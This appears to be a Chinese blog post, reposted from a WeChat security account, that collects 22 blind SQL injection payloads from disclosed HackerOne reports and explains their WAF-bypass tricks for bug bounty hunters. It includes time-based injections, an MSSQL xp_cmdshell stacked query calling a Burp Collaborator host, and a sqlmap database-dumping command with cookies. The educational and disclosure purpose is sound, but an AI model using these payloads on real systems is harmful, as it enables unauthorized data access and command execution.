0x01 前言
我通过谷歌高级语法,找到了hackerone上面提交过的所有盲注漏洞,其中大部分来自美国国防部Department of Defense (DoD),提交时间都在2015年左右,并且我对所有的payload做了一个复现,希望能为想去hackerone挖漏洞的师傅们提供一点帮助。
这次是我在攻防社区第一篇真正意义上的首发文章,表示想求一本攻防社区期刊!!!!!!
0x02 正文
HackerOne 盲注篇
1. 在登录页面的phone_number
参数处插入0’XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR’Z
【使用了异或注入,now
和sysdate
函数返回的都是当前系统时间,作用等同于if(1,sleep(3),0)
】
2. 在topsort
参数处插入follower+or+sleep(3)
,还有一个报告也是在sort
参数处
【总之在任意参数处都可以尝试插入+or+sleep(3)
,重点关注sort
相关参数,像sort
这种排序的,一般都是order by
后面】
3. 点赞评论时的comment_id
参数处插入123-sleep(3)
【因为参数是数字,可以猜测是整数型注入,而整数不需要带’,”,(),因此可以bypass WAF,为什么是“-“呢?相当于做减法运算了,触发了后面的sleep
函数】
4. JSON POST形式提交docId
参数处插入1 and (select substring(@@version,1,1))=’M’
【这个需要爆破数据库版本的每一位字符,判断对了就返回正常页面,其中substring
函数若被过滤,可以用mid
函数替代】
5. 在POST的rememail
参数处插入[email protected]'%2b(select*from(select(sleep(3)))a)%2b'
【使用()能够BYPASS空格过滤,找到注入点后,使用sqlmap跑,python sqlmap.py -u "https://████████:443/elist/viewem6.php" --data="[email protected]" --level=5 --risk=3 --users --dbs -b --hostname --current-db --privileges --is-dba --cookie="v1st=A9532F64A9E711AF;PHPSESSID=1796d85a30d3addf5934c1f0fafec529"
】
6. 在API接口POST提交的SCEN_ID
参数处插入33; DECLARE @command varchar(255); SELECT @command='ping yhjbc2mndl88o89il3ueyud7zy5pte.burpcollaborator.net'; EXEC Master.dbo.xp_cmdshell @command; SELECT 1 as 'STEP'
【从xp_cmdshell
就可以看出这是mssql命令,使用declare
的方式可以绕过WAF对一些关键字的过滤,burpcollaborator.net这个通过ping DNSLOG来判断漏洞存在,感觉大佬payload应该错了,declare
后应该用set
而非select
】
7. 在res_id
参数处插入51-CASE/**/WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END
【为什么用“-“?上面已经说过了,其中/**/
是内联注释,可以BYPASS空格过滤,除此之外,()也可以】
8. 在search
参数处插入0' and sleep(3) and 'xx' like 'xx
【如果=被过滤了,可以用like
替代,上面payload等同于and 1=1,这里给我提了个醒,搜索功能处可能也存在sql注入,虽然每次xss的时候返回内容都经过了html实体化,但是不代表传入数据库的时候也是,感觉大佬payload应该错了,前面不应该为’0’,因为’0’比较特殊,哪怕是字符串也等同于0,0 and 1
和0 and 0
都返回0,无法进行任何判断】
9. 在API接口POST提交的count参数处插入-1+or+1%3d((SELECT+1+FROM+(SELECT+SLEEP(25))A))
【原理等同于or 1=1,我们结合上面的BYPASS知识,对大佬的payload进行修改,变成-1/**/or(1)like(select(1)from(select(sleep(3)))a);
】
10. POST提交的location参数处插入(select*from(select(sleep(3)))a)
【上面有一样的例子,就不讲了,让大家多关注一些特殊参数】
11. https://████████/item/default’and%20substr(version(),1,1)=’0’ 通过item
参数处插入default'and%20substr(version(),1,1)='0'--
【这里的参数比较特殊,是以路由匹配的形式进行提交的,有点类似于thinkphp,后面的—是注释符,把后面的sql命令都注释了,感觉大佬命令错了,不是and
,而应该是or
,因为default是字符串等同于0,0 and 1
或0 and 0
都返回0,无法进行任何判断】
12. 在请求头user-agent
后面插入'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
【上面有一样的例子,就不讲了,下次记得试试注入user-agent】
13. 在viewVideo.asp页面的t=7
参数处插入pg_sleep(20)
【为什么这里可以不用闭合?因为是整数型注入】
14. 在https://betterscience.org/plugin/tag/后插入if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/
【首先,这个也是路由匹配的方式,也就是为什么参数以目录形式提交。其次这个payload有点怪,为什么内联注释里面还有相同payload,这有一个好处,就是当你不知道注入点是整数型还是字符型的时候,不管有没有’和”闭合,都能执行】
15. 在user-agent
处插入if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
【除了注入点在消息头,payload和上面的一样,就不多说了】
16. 在POST提交的group_id
参数处插入1'-if(1=1,sleep(3),0) and group_id='1
【事实证明,不仅是整数型可以用“-”做运算,字符型也可以】
17. 在JSON的一个回调函数里面(即?callback=jsonxxxxx
)后面的new参数处插入(select*from(select(sleep(3)))a)
【上面有类似例子,不多说了】
18. 在一个token
相关的API存在注入,注入点在refresh_token
参数处插入';waitfor delay '0:0:13'--
,以JSON方式提交
【从waitfor delay
就可以知道,这是一个sql server的payload,结合了堆叠注入,--把后面的语句给注释掉了,所以不用闭合】
19. 在一个搜索框POST提交时的fSearchDefaultSortDirection参数处插入desc%2C(select*from(select(sleep(3)))a)
【从参数关键字sort就可以知道,大概率是用了order by语句,所以payload开头才是desc的排序方式,其他的在上面都已经讲过了】
20. 在API的city_id
参数处插入(select(0)from(select(sleep(3)))v)
【看到id,大概率就是整数型注入,为什么是select(0),是为了让sql语句返回一个整数0,其他的上面已经说过了。】
21. 在doc_id
参数处插入1%20and%20(select*from(sleep(3))a)
【整数型注入,不用闭合,payload和上面类似,就不多说了,这里的and
可以用-代替,就可以BYPASS空格】
22. 在一个登录凭证API的username
参数处插入admin' and user() like '%';--
【xdm,这个我是真的不明白payload为什么要这么构造了,因为1 and user() like '%'
就相当于1 and 1=1
只是一个布尔型注入,并不回显任何数据,就当一个留白吧,把思考留给大家,有知道的兄弟可以把自己的想法写在评论区】
欢迎关注我的公众号:韬光养晦安全
红蓝对抗日常分享,带给你国际安全视野
原文始发于微信公众号(韬光养晦安全):【HackerOne】提交过的所有真实盲注漏洞汇总
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论